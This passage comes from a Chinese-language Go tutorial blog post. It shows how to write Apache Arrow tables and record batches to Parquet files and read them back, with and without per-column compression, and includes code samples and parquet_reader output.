error 这里说一下WriteTable的前三个参数，第一个是通过NewTable得到的arrow table结构，第二个参数也容易理解，就是一个可写的文件描述符，我们通过os.Create可以轻松拿到，第三个参数为chunkSize，这个chunkSize是什么呢？会对parquet文件的写入结果有影响么？其实这个chunkSize就是每个row group中的行数。同时parquet通过该chunkSize也可以计算出arrow table转parquet文件后有几个row group。\n我们示例中的chunkSize值为1024，因此整个parquet文件只有一个row group。下面我们将其值改为5，再来看看输出的parquet文件内容：\n$parquet_reader flat_table.parquet File name: flat_table.parquet Version: v2.6 Created By: parquet-go version 13.0.0-SNAPSHOT Num Rows: 10 Number of RowGroups: 2 Number of Real Columns: 3 Number of Columns: 3 Number of Selected Columns: 3 Column 0: col1 (INT32/INT_32) Column 1: col2 (DOUBLE) Column 2: col3 (BYTE_ARRAY/UTF8) --- Row Group: 0 --- --- Total Bytes: 288 --- --- Rows: 5 --- Column 0 Values: 5, Min: 1, Max: 5, Null Values: 0, Distinct Values: 0 Compression: UNCOMPRESSED, Encodings: RLE_DICTIONARY PLAIN RLE Uncompressed Size: 86, Compressed Size: 86 Column 1 Values: 5, Min: 1.1, Max: 5.5, Null Values: 0, Distinct Values: 0 Compression: UNCOMPRESSED, Encodings: RLE_DICTIONARY PLAIN RLE Uncompressed Size: 122, Compressed Size: 122 Column 2 Values: 5, Min: [115 49], Max: [115 53], Null Values: 0, Distinct Values: 0 Compression: UNCOMPRESSED, Encodings: RLE_DICTIONARY PLAIN RLE Uncompressed Size: 80, Compressed Size: 80 --- Values --- col1 |col2 |col3 | 1 |1.100000 |s1 | 2 |2.200000 |s2 | 3 |3.300000 |s3 | 4 |4.400000 |s4 | 5 |5.500000 |s5 | --- Row Group: 1 --- --- Total Bytes: 290 --- --- Rows: 5 --- Column 0 Values: 5, Min: 6, Max: 10, Null Values: 0, Distinct Values: 0 Compression: UNCOMPRESSED, Encodings: RLE_DICTIONARY PLAIN RLE Uncompressed Size: 86, Compressed Size: 86 Column 1 Values: 5, Min: 6.6, Max: 10, Null Values: 0, Distinct Values: 0 Compression: UNCOMPRESSED, Encodings: RLE_DICTIONARY PLAIN RLE Uncompressed Size: 122, Compressed Size: 122 Column 2 Values: 5, Min: [115 49 48], Max: [115 57], Null Values: 0, Distinct Values: 0 Compression: UNCOMPRESSED, Encodings: RLE_DICTIONARY PLAIN RLE Uncompressed Size: 82, Compressed Size: 82 --- Values --- col1 |col2 |col3 | 6 |6.600000 |s6 | 7 |7.700000 |s7 | 8 |8.800000 |s8 | 9 |9.900000 |s9 | 10 |10.000000 |s10 | 当chunkSize值为5后，parquet文件的row group变成了2，然后parquet_reader工具会按照两个row group的格式分别输出它们的meta信息和列值信息。\n接下来，我们再来看一下如何从生成的parquet文件中读取数据并转换为arrow table。\n2.2 Table \u0026lt;- Parquet 和WriteTable函数对应，arrow提供了ReadTable函数读取parquet文件并转换为内存中的arrow table，下面是代码示例：\n// flat_table_from_parquet.go func main() { f, err := os.Open(\u0026quot;flat_table.parquet\u0026quot;) if err != nil { panic(err) } defer f.Close() tbl, err := pqarrow.ReadTable(context.Background(), f, parquet.NewReaderProperties(memory.DefaultAllocator), pqarrow.ArrowReadProperties{}, memory.DefaultAllocator) if err != nil { panic(err) } dumpTable(tbl) } func dumpTable(tbl arrow.Table) { s := tbl.Schema() fmt.Println(s) fmt.Println(\u0026quot;------\u0026quot;) fmt.Println(\u0026quot;the count of table columns=\u0026quot;, tbl.NumCols()) fmt.Println(\u0026quot;the count of table rows=\u0026quot;, tbl.NumRows()) fmt.Println(\u0026quot;------\u0026quot;) for i := 0; i \u0026lt; int(tbl.NumCols()); i++ { col := tbl.Column(i) fmt.Printf(\u0026quot;arrays in column(%s):\\n\u0026quot;, col.Name()) chunk := col.Data() for _, arr := range chunk.Chunks() { fmt.Println(arr) } fmt.Println(\u0026quot;------\u0026quot;) } } 我们看到ReadTable使用起来非常简单，由于parquet文件中包含meta信息，我们调用ReadTable时，一些参数使用默认值或零值即可。\n我们运行一下上述代码：\n$go run flat_table_from_parquet.go schema: fields: 3 - col1: type=int32 metadata: [\u0026quot;PARQUET:field_id\u0026quot;: \u0026quot;-1\u0026quot;] - col2: type=float64 metadata: [\u0026quot;PARQUET:field_id\u0026quot;: \u0026quot;-1\u0026quot;] - col3: type=utf8 metadata: [\u0026quot;PARQUET:field_id\u0026quot;: \u0026quot;-1\u0026quot;] ------ the count of table columns= 3 the count of table rows= 10 ------ arrays in column(col1): [1 2 3 4 5 6 7 8 9 10] ------ arrays in column(col2): [1.1 2.2 3.3 4.4 5.5 6.6 7.7 8.8 9.9 10] ------ arrays in column(col3): [\u0026quot;s1\u0026quot; \u0026quot;s2\u0026quot; \u0026quot;s3\u0026quot; \u0026quot;s4\u0026quot; \u0026quot;s5\u0026quot; \u0026quot;s6\u0026quot; \u0026quot;s7\u0026quot; \u0026quot;s8\u0026quot; \u0026quot;s9\u0026quot; \u0026quot;s10\u0026quot;] ------ 2.3 Table -\u0026gt; Parquet(压缩) 前面提到，Parquet文件格式的设计充分考虑了空间利用效率，再加上其是面向列存储的格式，Parquet支持列数据的压缩存储，并支持为不同列选择不同的压缩算法。\n前面示例中调用的WriteTable在默认情况下是不对列进行压缩的，这从parquet_reader读取到的列的元信息中也可以看到(比如下面的Compression: UNCOMPRESSED)：\nColumn 0 Values: 10, Min: 1, Max: 10, Null Values: 0, Distinct Values: 0 Compression: UNCOMPRESSED, Encodings: RLE_DICTIONARY PLAIN RLE Uncompressed Size: 111, Compressed Size: 111 我们在WriteTable时也可以通过parquet.WriterProperties参数来为每个列指定压缩算法，比如下面示例：\n// flat_table_to_parquet_compressed.go var tbl arrow.Table tbl = array.NewTable(schema, []arrow.Column{*col1, *col2, *col3}, -1) defer tbl.Release() f, err := os.Create(\u0026quot;flat_table_compressed.parquet\u0026quot;) if err != nil { panic(err) } defer f.Close() wp := parquet.NewWriterProperties(parquet.WithCompression(compress.Codecs.Snappy), parquet.WithCompressionFor(\u0026quot;col1\u0026quot;, compress.Codecs.Brotli)) err = pqarrow.WriteTable(tbl, f, 1024, wp, pqarrow.DefaultWriterProps()) if err != nil { panic(err) } 在这段代码中，我们通过parquet.NewWriterProperties构建了新的WriterProperties，这个新的Properties默认所有列使用Snappy压缩，针对col1列使用Brotli算法压缩。我们将压缩后的数据写入flat_table_compressed.parquet文件。使用go run运行flat_table_to_parquet_compressed.go，然后使用parquet_reader查看文件flat_table_compressed.parquet得到如下结果：\n$go run flat_table_to_parquet_compressed.go $parquet_reader flat_table_compressed.parquet File name: flat_table_compressed.parquet Version: v2.6 Created By: parquet-go version 13.0.0-SNAPSHOT Num Rows: 10 Number of RowGroups: 1 Number of Real Columns: 3 Number of Columns: 3 Number of Selected Columns: 3 Column 0: col1 (INT32/INT_32) Column 1: col2 (DOUBLE) Column 2: col3 (BYTE_ARRAY/UTF8) --- Row Group: 0 --- --- Total Bytes: 352 --- --- Rows: 10 --- Column 0 Values: 10, Min: 1, Max: 10, Null Values: 0, Distinct Values: 0 Compression: BROTLI, Encodings: RLE_DICTIONARY PLAIN RLE Uncompressed Size: 111, Compressed Size: 98 Column 1 Values: 10, Min: 1.1, Max: 10, Null Values: 0, Distinct Values: 0 Compression: SNAPPY, Encodings: RLE_DICTIONARY PLAIN RLE Uncompressed Size: 168, Compressed Size: 148 Column 2 Values: 10, Min: [115 49], Max: [115 57], Null Values: 0, Distinct Values: 0 Compression: SNAPPY, Encodings: RLE_DICTIONARY PLAIN RLE Uncompressed Size: 116, Compressed Size: 106 --- Values --- col1 |col2 |col3 | 1 |1.100000 |s1 | 2 |2.200000 |s2 | 3 |3.300000 |s3 | 4 |4.400000 |s4 | 5 |5.500000 |s5 | 6 |6.600000 |s6 | 7 |7.700000 |s7 | 8 |8.800000 |s8 | 9 |9.900000 |s9 | 10 |10.000000 |s10 | 从parquet_reader的输出，我们可以看到：各个Column的Compression信息不再是UNCOMPRESSED了，并且三个列在经过压缩后的Size与未压缩对比都有一定的减小：\nColumn 0: Compression: BROTLI, Uncompressed Size: 111, Compressed Size: 98 Column 1: Compression: SNAPPY, Uncompressed Size: 168, Compressed Size: 148 Column 2: Compression: SNAPPY, Uncompressed Size: 116, Compressed Size: 106 从文件大小对比也能体现出压缩算法的作用：\n-rw-r--r-- 1 tonybai staff 786 7 22 08:06 flat_table.parquet -rw-r--r-- 1 tonybai staff 742 7 20 13:19 flat_table_compressed.parquet Go的parquet实现支持多种压缩算法：\n// github.com/apache/arrow/go/parquet/compress/compress.go var Codecs = struct { Uncompressed Compression Snappy Compression Gzip Compression // LZO is unsupported in this library since LZO license is incompatible with Apache License Lzo Compression Brotli Compression // LZ4 unsupported in this library due to problematic issues between the Hadoop LZ4 spec vs regular lz4 // see: http://mail-archives.apache.org/mod_mbox/arrow-dev/202007.mbox/%3CCAAri41v24xuA8MGHLDvgSnE+7AAgOhiEukemW_oPNHMvfMmrWw@mail.gmail.com%3E Lz4 Compression Zstd Compression }{ Uncompressed: Compression(parquet.CompressionCodec_UNCOMPRESSED), Snappy: Compression(parquet.CompressionCodec_SNAPPY), Gzip: Compression(parquet.CompressionCodec_GZIP), Lzo: Compression(parquet.CompressionCodec_LZO), Brotli: Compression(parquet.CompressionCodec_BROTLI), Lz4: Compression(parquet.CompressionCodec_LZ4), Zstd: Compression(parquet.CompressionCodec_ZSTD), } 你只需要根据你的列的类型选择最适合的压缩算法即可。\n2.4 Table \u0026lt;- Parquet(压缩) 接下来，我们来读取这个数据经过压缩的Parquet。读取压缩的Parquet是否需要在ReadTable时传入特殊的Properties呢？答案是不需要！因为Parquet文件中存储了元信息(metadata)，可以帮助ReadTable使用对应的算法解压缩并提取信息：\n// flat_table_from_parquet_compressed.go func main() { f, err := os.Open(\u0026quot;flat_table_compressed.parquet\u0026quot;) if err != nil { panic(err) } defer f.Close() tbl, err := pqarrow.ReadTable(context.Background(), f, parquet.NewReaderProperties(memory.DefaultAllocator), pqarrow.ArrowReadProperties{}, memory.DefaultAllocator) if err != nil { panic(err) } dumpTable(tbl) } 运行这段程序，我们就可以读取压缩后的parquet文件了：\n$go run flat_table_from_parquet_compressed.go schema: fields: 3 - col1: type=int32 metadata: [\u0026quot;PARQUET:field_id\u0026quot;: \u0026quot;-1\u0026quot;] - col2: type=float64 metadata: [\u0026quot;PARQUET:field_id\u0026quot;: \u0026quot;-1\u0026quot;] - col3: type=utf8 metadata: [\u0026quot;PARQUET:field_id\u0026quot;: \u0026quot;-1\u0026quot;] ------ the count of table columns= 3 the count of table rows= 10 ------ arrays in column(col1): [1 2 3 4 5 6 7 8 9 10] ------ arrays in column(col2): [1.1 2.2 3.3 4.4 5.5 6.6 7.7 8.8 9.9 10] ------ arrays in column(col3): [\u0026quot;s1\u0026quot; \u0026quot;s2\u0026quot; \u0026quot;s3\u0026quot; \u0026quot;s4\u0026quot; \u0026quot;s5\u0026quot; \u0026quot;s6\u0026quot; \u0026quot;s7\u0026quot; \u0026quot;s8\u0026quot; \u0026quot;s9\u0026quot; \u0026quot;s10\u0026quot;] ------ 接下来，我们来看看Arrow中的另外一种高级数据结构Record Batch如何实现与Parquet文件格式的转换。\n3. Arrow Record Batch \u0026lt;-\u0026gt; Parquet 注：大家可以先阅读/温习一下《高级数据结构》一文来了解一下Record Batch的概念。\n3.1 Record Batch -\u0026gt; Parquet Arrow Go实现将一个Record Batch作为一个Row group来对应。下面的程序向Parquet文件中写入了三个record，我们来看一下：\n// flat_record_to_parquet.go func main() { var records []arrow.Record schema := arrow.NewSchema( []arrow.Field{ {Name: \u0026quot;archer\u0026quot;, Type: arrow.BinaryTypes.String}, {Name: \u0026quot;location\u0026quot;, Type: arrow.BinaryTypes.String}, {Name: \u0026quot;year\u0026quot;, Type: arrow.PrimitiveTypes.Int16}, }, nil, ) rb := array.NewRecordBuilder(memory.DefaultAllocator, schema) defer rb.Release() for i := 0; i \u0026lt; 3; i++ { postfix := strconv.Itoa(i) rb.Field(0).(*array.StringBuilder).AppendValues([]string{\u0026quot;tony\u0026quot; + postfix, \u0026quot;amy\u0026quot; + postfix, \u0026quot;jim\u0026quot; + postfix}, nil) rb.Field(1).(*array.StringBuilder).AppendValues([]string{\u0026quot;beijing\u0026quot; + postfix, \u0026quot;shanghai\u0026quot; + postfix, \u0026quot;chengdu\u0026quot; + postfix}, nil) rb.Field(2).(*array.Int16Builder).AppendValues([]int16{1992 + int16(i), 1993 + int16(i), 1994 + int16(i)}, nil) rec := rb.NewRecord() records = append(records, rec) } // write to parquet f, err := os.Create(\u0026quot;flat_record.parquet\u0026quot;) if err != nil { panic(err) } props := parquet.NewWriterProperties() writer, err := pqarrow.NewFileWriter(schema, f, props, pqarrow.DefaultWriterProps()) if err != nil { panic(err) } defer writer.Close() for _, rec := range records { if err := writer.Write(rec); err != nil { panic(err) } rec.Release() } } 和调用WriteTable完成table到parquet文件的写入不同，这里我们创建了一个FileWriter，通过FileWriter将构建出的Record Batch逐个写入。运行上述代码生成flat_record.parquet文件并使用parquet_reader展示该文件的内容：\n$go run flat_record_to_parquet.go $parquet_reader flat_record.parquet File name: flat_record.parquet Version: v2.6 Created By: parquet-go version 13.0.0-SNAPSHOT Num Rows: 9 Number of RowGroups: 3 Number of Real Columns: 3 Number of Columns: 3 Number of Selected Columns: 3 Column 0: archer (BYTE_ARRAY/UTF8) Column 1: location (BYTE_ARRAY/UTF8) Column 2: year (INT32/INT_16) --- Row Group: 0 --- --- Total Bytes: 255 --- --- Rows: 3 --- Column 0 Values: 3, Min: [97 109 121 48], Max: [116 111 110 121 48], Null Values: 0, Distinct Values: 0 Compression: UNCOMPRESSED, Encodings: RLE_DICTIONARY PLAIN RLE Uncompressed Size: 79, Compressed Size: 79 Column 1 Values: 3, Min: [98 101 105 106 105 110 103 48], Max: [115 104 97 110 103 104 97 105 48], Null Values: 0, Distinct Values: 0 Compression: UNCOMPRESSED, Encodings: RLE_DICTIONARY PLAIN RLE Uncompressed Size: 99, Compressed Size: 99 Column 2 Values: 3, Min: 1992, Max: 1994, Null Values: 0, Distinct Values: 0 Compression: UNCOMPRESSED, Encodings: RLE_DICTIONARY PLAIN RLE Uncompressed Size: 77, Compressed Size: 77 --- Values --- archer |location |year | tony0 |beijing0 |1992 | amy0 |shanghai0 |1993 | jim0 |chengdu0 |1994 | --- Row Group: 1 --- --- Total Bytes: 255 --- --- Rows: 3 --- Column 0 Values: 3, Min: [97 109 121 49], Max: [116 111 110 121 49], Null Values: 0, Distinct Values: 0 Compression: UNCOMPRESSED, Encodings: RLE_DICTIONARY PLAIN RLE Uncompressed Size: 79, Compressed Size: 79 Column 1 Values: 3, Min: [98 101 105 106 105 110 103 49], Max: [115 104 97 110 103 104 97 105 49], Null Values: 0, Distinct Values: 0 Compression: UNCOMPRESSED, Encodings: RLE_DICTIONARY PLAIN RLE Uncompressed Size: 99, Compressed Size: 99 Column 2 Values: 3, Min: 1993, Max: 1995, Null Values: 0, Distinct Values: 0 Compression: UNCOMPRESSED, Encodings: RLE_DICTIONARY PLAIN RLE Uncompressed Size: 77, Compressed Size: 77 --- Values --- archer |location |year | tony1 |beijing1 |1993 | amy1 |shanghai1 |1994 | jim1 |chengdu1 |1995 | --- Row Group: 2 --- --- Total Bytes: 255 --- --- Rows: 3 --- Column 0 Values: 3, Min: [97 109 121 50], Max: [116 111 110 121 50], Null Values: 0, Distinct Values: 0 Compression: UNCOMPRESSED, Encodings: RLE_DICTIONARY PLAIN RLE Uncompressed Size: 79, Compressed Size: 79 Column 1 Values: 3, Min: [98 101 105 106 105 110 103 50], Max: [115 104 97 110 103 104 97 105 50], Null Values: 0, Distinct Values: 0 Compression: UNCOMPRESSED, Encodings: RLE_DICTIONARY PLAIN RLE Uncompressed Size: 99, Compressed Size: 99 Column 2 Values: 3, Min: 1994, Max: 1996, Null Values: 0, Distinct Values: 0 Compression: UNCOMPRESSED, Encodings: RLE_DICTIONARY PLAIN RLE Uncompressed Size: 77, Compressed Size: 77 --- Values --- archer |location |year | tony2 |beijing2 |1994 | amy2 |shanghai2 |1995 | jim2 |chengdu2 |1996 | 我们看到parquet_reader分别输出了三个row group的元数据和列值，每个row group与我们写入的一个record对应。\n那读取这样的parquet文件与ReadTable有何不同呢？我们继续往下看。\n3.2 Record Batch \u0026lt;- Parquet 下面是用于读取\n// flat_record_from_parquet.go func main() { f, err := os.Open(\u0026quot;flat_record.parquet\u0026quot;) if err != nil { panic(err) } defer f.Close() rdr, err := file.NewParquetReader(f) if err != nil { panic(err) } defer rdr.Close() arrRdr, err := pqarrow.NewFileReader(rdr, pqarrow.ArrowReadProperties{ BatchSize: 3, }, memory.DefaultAllocator) if err != nil { panic(err) } s, _ := arrRdr.Schema() fmt.Println(*s) rr, err := arrRdr.GetRecordReader(context.Background(), nil, nil) if err != nil { panic(err) } for { rec, err := rr.Read() if err != nil \u0026amp;\u0026amp; err != io.EOF { panic(err) } if err == io.EOF { break } fmt.Println(rec) } } 我们看到相对于将parquet转换为table，将parquet转换为record略为复杂一些，这里的一个关键是在调用NewFileReader时传入的ArrowReadProperties中的BatchSize字段，要想正确读取出record，这个BatchSize需适当填写。这个BatchSize会告诉Reader 每个读取的Record Batch的长度，也就是row数量。这里传入的是3，即3个row为一个Recordd batch。\n下面是运行上述程序的结果：\n$go run flat_record_from_parquet.go {[{archer 0x26ccc00 false {[PARQUET:field_id] [-1]}} {location 0x26ccc00 false {[PARQUET:field_id] [-1]}} {year 0x26ccc00 false {[PARQUET:field_id] [-1]}}] map[archer:[0] location:[1] year:[2]] {[] []} 0} record: schema: fields: 3 - archer: type=utf8 metadata: [\u0026quot;PARQUET:field_id\u0026quot;: \u0026quot;-1\u0026quot;] - location: type=utf8 metadata: [\u0026quot;PARQUET:field_id\u0026quot;: \u0026quot;-1\u0026quot;] - year: type=int16 metadata: [\u0026quot;PARQUET:field_id\u0026quot;: \u0026quot;-1\u0026quot;] rows: 3 col[0][archer]: [\u0026quot;tony0\u0026quot; \u0026quot;amy0\u0026quot; \u0026quot;jim0\u0026quot;] col[1][location]: [\u0026quot;beijing0\u0026quot; \u0026quot;shanghai0\u0026quot; \u0026quot;chengdu0\u0026quot;] col[2][year]: [1992 1993 1994] record: schema: fields: 3 - archer: type=utf8 metadata: [\u0026quot;PARQUET:field_id\u0026quot;: \u0026quot;-1\u0026quot;] - location: type=utf8 metadata: [\u0026quot;PARQUET:field_id\u0026quot;: \u0026quot;-1\u0026quot;] - year: type=int16 metadata: [\u0026quot;PARQUET:field_id\u0026quot;: \u0026quot;-1\u0026quot;] rows: 3 col[0][archer]: [\u0026quot;tony1\u0026quot; \u0026quot;amy1\u0026quot; \u0026quot;jim1\u0026quot;] col[1][location]: [\u0026quot;beijing1\u0026quot; \u0026quot;shanghai1\u0026quot; \u0026quot;chengdu1\u0026quot;] col[2][year]: [1993 1994 1995] record: schema: fields: 3 - archer: type=utf8 metadata: [\u0026quot;PARQUET:field_id\u0026quot;: \u0026quot;-1\u0026quot;] - location: type=utf8 metadata: [\u0026quot;PARQUET:field_id\u0026quot;: \u0026quot;-1\u0026quot;] - year: type=int16 metadata: [\u0026quot;PARQUET:field_id\u0026quot;: \u0026quot;-1\u0026quot;] rows: 3 col[0][archer]: [\u0026quot;tony2\u0026quot; \u0026quot;amy2\u0026quot; \u0026quot;jim2\u0026quot;] col[1][location]: [\u0026quot;beijing2\u0026quot; \u0026quot;shanghai2\u0026quot; \u0026quot;chengdu2\u0026quot;] col[2][year]: [1994 1995 1996] 我们看到：每3行被作为一个record读取出来了。如果将BatchSize改为5，则输出如下：\n$go run flat_record_from_parquet.go {[{archer 0x26ccc00 false {[PARQUET:field_id] [-1]}} {location 0x26ccc00 false {[PARQUET:field_id] [-1]}} {year 0x26ccc00 false {[PARQUET:field_id] [-1]}}] map[archer:[0] location:[1] year:[2]] {[] []} 0} record: schema: fields: 3 - archer: type=utf8 metadata: [\u0026quot;PARQUET:field_id\u0026quot;: \u0026quot;-1\u0026quot;] - location: type=utf8 metadata: [\u0026quot;PARQUET:field_id\u0026quot;: \u0026quot;-1\u0026quot;] - year: type=int16 metadata: [\u0026quot;PARQUET:field_id\u0026quot;: \u0026quot;-1\u0026quot;] rows: 5 col[0][archer]: [\u0026quot;tony0\u0026quot; \u0026quot;amy0\u0026quot; \u0026quot;jim0\u0026quot; \u0026quot;tony1\u0026quot; \u0026quot;amy1\u0026quot;] col[1][location]: [\u0026quot;beijing0\u0026quot; \u0026quot;shanghai0\u0026quot; \u0026quot;chengdu0\u0026quot; \u0026quot;beijing1\u0026quot; \u0026quot;shanghai1\u0026quot;] col[2][year]: [1992 1993 1994 1993 1994] record: schema: fields: 3 - archer: type=utf8 metadata: [\u0026quot;PARQUET:field_id\u0026quot;: \u0026quot;-1\u0026quot;] - location: type=utf8 metadata: [\u0026quot;PARQUET:field_id\u0026quot;: \u0026quot;-1\u0026quot;] - year: type=int16 metadata: [\u0026quot;PARQUET:field_id\u0026quot;: \u0026quot;-1\u0026quot;] rows: 4 col[0][archer]: [\u0026quot;jim1\u0026quot; \u0026quot;tony2\u0026quot; \u0026quot;amy2\u0026quot; \u0026quot;jim2\u0026quot;] col[1][location]: [\u0026quot;chengdu1\u0026quot; \u0026quot;beijing2\u0026quot; \u0026quot;shanghai2\u0026quot; \u0026quot;chengdu2\u0026quot;] col[2][year]: [1995 1994 1995 1996] 这次：前5行作为一个record，后4行作为另外一个record。\n当然，我们也可以使用flat_table_from_parquet.go中的代码来读取flat_record.parquet(将读取文件名改为flat_record.parquet)，只不过由于将parquet数据转换为了table，其输出内容将变为：\n$go run flat_table_from_parquet.go schema: fields: 3 - archer: type=utf8 metadata: [\u0026quot;PARQUET:field_id\u0026quot;: \u0026quot;-1\u0026quot;] - location: type=utf8 metadata: [\u0026quot;PARQUET:field_id\u0026quot;: \u0026quot;-1\u0026quot;] - year: type=int16 metadata: [\u0026quot;PARQUET:field_id\u0026quot;: \u0026quot;-1\u0026quot;] ------ the count of table columns= 3 the count of table rows= 9 ------ arrays in column(archer): [\u0026quot;tony0\u0026quot; \u0026quot;amy0\u0026quot; \u0026quot;jim0\u0026quot; \u0026quot;tony1\u0026quot; \u0026quot;amy1\u0026quot; \u0026quot;jim1\u0026quot; \u0026quot;tony2\u0026quot; \u0026quot;amy2\u0026quot; \u0026quot;jim2\u0026quot;] ------ arrays in column(location): [\u0026quot;beijing0\u0026quot; \u0026quot;shanghai0\u0026quot; \u0026quot;chengdu0\u0026quot; \u0026quot;beijing1\u0026quot; \u0026quot;shanghai1\u0026quot; \u0026quot;chengdu1\u0026quot; \u0026quot;beijing2\u0026quot; \u0026quot;shanghai2\u0026quot; \u0026quot;chengdu2\u0026quot;] ------ arrays in column(year): [1992 1993 1994 1993 1994 1995 1994 1995 1996] ------ 3.3 Record Batch -\u0026gt; Parquet(压缩) Recod同样支持压缩写入Parquet，其原理与前面table压缩存储是一致的，都是通过设置WriterProperties来实现的：\n// flat_record_to_parquet_compressed.go func main() { ... ... f, err := os.Create(\u0026quot;flat_record_compressed.parquet\u0026quot;) if err != nil { panic(err) } defer f.Close() props := parquet.NewWriterProperties(parquet.WithCompression(compress.Codecs.Zstd), parquet.WithCompressionFor(\u0026quot;year\u0026quot;, compress.Codecs.Brotli)) writer, err := pqarrow.NewFileWriter(schema, f, props, pqarrow.DefaultWriterProps()) if err != nil { panic(err) } defer writer.Close() for _, rec := range records { if err := writer.Write(rec); err != nil { panic(err) } rec.Release() } } 不过这次针对arrow.string类型和arrow.int16类型的压缩效果非常“差”：\n$parquet_reader flat_record_compressed.parquet File name: flat_record_compressed.parquet Version: v2.6 Created By: parquet-go version 13.0.0-SNAPSHOT Num Rows: 9 Number of RowGroups: 3 Number of Real Columns: 3 Number of Columns: 3 Number of Selected Columns: 3 Column 0: archer (BYTE_ARRAY/UTF8) Column 1: location (BYTE_ARRAY/UTF8) Column 2: year (INT32/INT_16) --- Row Group: 0 --- --- Total Bytes: 315 --- --- Rows: 3 --- Column 0 Values: 3, Min: [97 109 121 48], Max: [116 111 110 121 48], Null Values: 0, Distinct Values: 0 Compression: ZSTD, Encodings: RLE_DICTIONARY PLAIN RLE Uncompressed Size: 79, Compressed Size: 105 Column 1 Values: 3, Min: [98 101 105 106 105 110 103 48], Max: [115 104 97 110 103 104 97 105 48], Null Values: 0, Distinct Values: 0 Compression: ZSTD, Encodings: RLE_DICTIONARY PLAIN RLE Uncompressed Size: 99, Compressed Size: 125 Column 2 Values: 3, Min: 1992, Max: 1994, Null Values: 0, Distinct Values: 0 Compression: BROTLI, Encodings: RLE_DICTIONARY PLAIN RLE Uncompressed Size: 77, Compressed Size: 85 --- Values --- archer |location |year | tony0 |beijing0 |1992 | amy0 |shanghai0 |1993 | jim0 |chengdu0 |1994 | --- Row Group: 1 --- --- Total Bytes: 315 --- --- Rows: 3 --- Column 0 Values: 3, Min: [97 109 121 49], Max: [116 111 110 121 49], Null Values: 0, Distinct Values: 0 Compression: ZSTD, Encodings: RLE_DICTIONARY PLAIN RLE Uncompressed Size: 79, Compressed Size: 105 Column 1 Values: 3, Min: [98 101 105 106 105 110 103 49], Max: [115 104 97 110 103 104 97 105 49], Null Values: 0, Distinct Values: 0 Compression: ZSTD, Encodings: RLE_DICTIONARY PLAIN RLE Uncompressed Size: 99, Compressed Size: 125 Column 2 Values: 3, Min: 1993, Max: 1995, Null Values: 0, Distinct Values: 0 Compression: BROTLI, Encodings: RLE_DICTIONARY PLAIN RLE Uncompressed Size: 77, Compressed Size: 85 --- Values --- archer |location |year | tony1 |beijing1 |1993 | amy1 |shanghai1 |1994 | jim1 |chengdu1 |1995 | --- Row Group: 2 --- --- Total Bytes: 315 --- --- Rows: 3 --- Column 0 Values: 3, Min: [97 109 121 50], Max: [116 111 110 121 50], Null Values: 0, Distinct Values: 0 Compression: ZSTD, Encodings: RLE_DICTIONARY PLAIN RLE Uncompressed Size: 79, Compressed Size: 105 Column 1 Values: 3, Min: [98 101 105 106 105 110 103 50], Max: [115 104 97 110 103 104 97 105 50], Null Values: 0, Distinct Values: 0 Compression: ZSTD, Encodings: RLE_DICTIONARY PLAIN RLE Uncompressed Size: 99, Compressed Size: 125 Column 2 Values: 3, Min: 1994, Max: 1996, Null Values: 0, Distinct Values: 0 Compression: BROTLI, Encodings: RLE_DICTIONARY PLAIN RLE Uncompressed Size: 77, Compressed Size: 85 --- Values --- archer |location |year | tony2 |beijing2 |1994 | amy2 |shanghai2 |1995 | jim2 |chengdu2 |1996 | 越压缩，parquet文件的size越大。当然这个问题不是我们这篇文章的重点，只是提醒大家选择适当的压缩算法十分重要。\n3.4 Record Batch \u0026lt;- Parquet(压缩) 和读取table转换后的压缩parquet文件一样，读取record转换后的压缩parquet一样无需特殊设置，使用flat_record_from_parquet.go即可（需要改一下读取的文件名），这里就不赘述了。\n4. 小结 本文旨在介绍使用Go进行Arrow和Parquet文件相互转换的基本方法，我们以table和record两种高级数据结构为例，分别介绍了读写parquet文件以及压缩parquet文件的方法。\n当然本文中的例子都是“平坦(flat)”的简单例子，parquet文件还支持更复杂的嵌套数据，我们会在后续的深入讲解parquet格式的文章中提及。\n本文示例代码可以在这里下载。\n5. 参考资料 Parquet File Format – https://parquet.apache.org/docs/file-format/ 《Dremel: Interactive Analysis of Web-Scale Datasets》 – https://storage.googleapis.com/pub-tools-public-publication-data/pdf/36632.pdf Announcing Parquet 1.0: Columnar Storage for Hadoop – https://blog.twitter.com/engineering/en_us/a/2013/announcing-parquet-10-columnar-storage-for-hadoop Dremel made simple with Parquet – https://blog.twitter.com/engineering/en_us/a/2013/dremel-made-simple-with-parquet parquet项目首页 – http://parquet.apache.org/ Apache Parquet介绍 by influxdata – https://www.influxdata.com/glossary/apache-parquet/ Intro to InfluxDB IOx – https://www.influxdata.com/blog/intro-influxdb-iox/ Apache Arrow介绍 by influxdb – https://www.influxdata.com/glossary/apache-arrow/ 开源时序数据库解析 – InfluxDB IOx – https://zhuanlan.zhihu.com/p/534035337 Arrow and Parquet Part 1: Primitive Types and Nullability – https://arrow.apache.org/blog/2022/10/05/arrow-parquet-encoding-part-1/ Arrow and Parquet Part 2: Nested and Hierarchical Data using Structs and Lists – https://arrow.apache.org/blog/2022/10/08/arrow-parquet-encoding-part-2/ Arrow and Parquet Part 3: Arbitrary Nesting with Lists of Structs and Structs of Lists – https://arrow.apache.org/blog/2022/10/17/arrow-parquet-encoding-part-3/ Cost Efficiency @ Scale in Big Data File Format – https://www.uber.com/blog/cost-efficiency-big-data/ “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/07/31/a-guide-of-using-apache-arrow-for-gopher-part6/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" 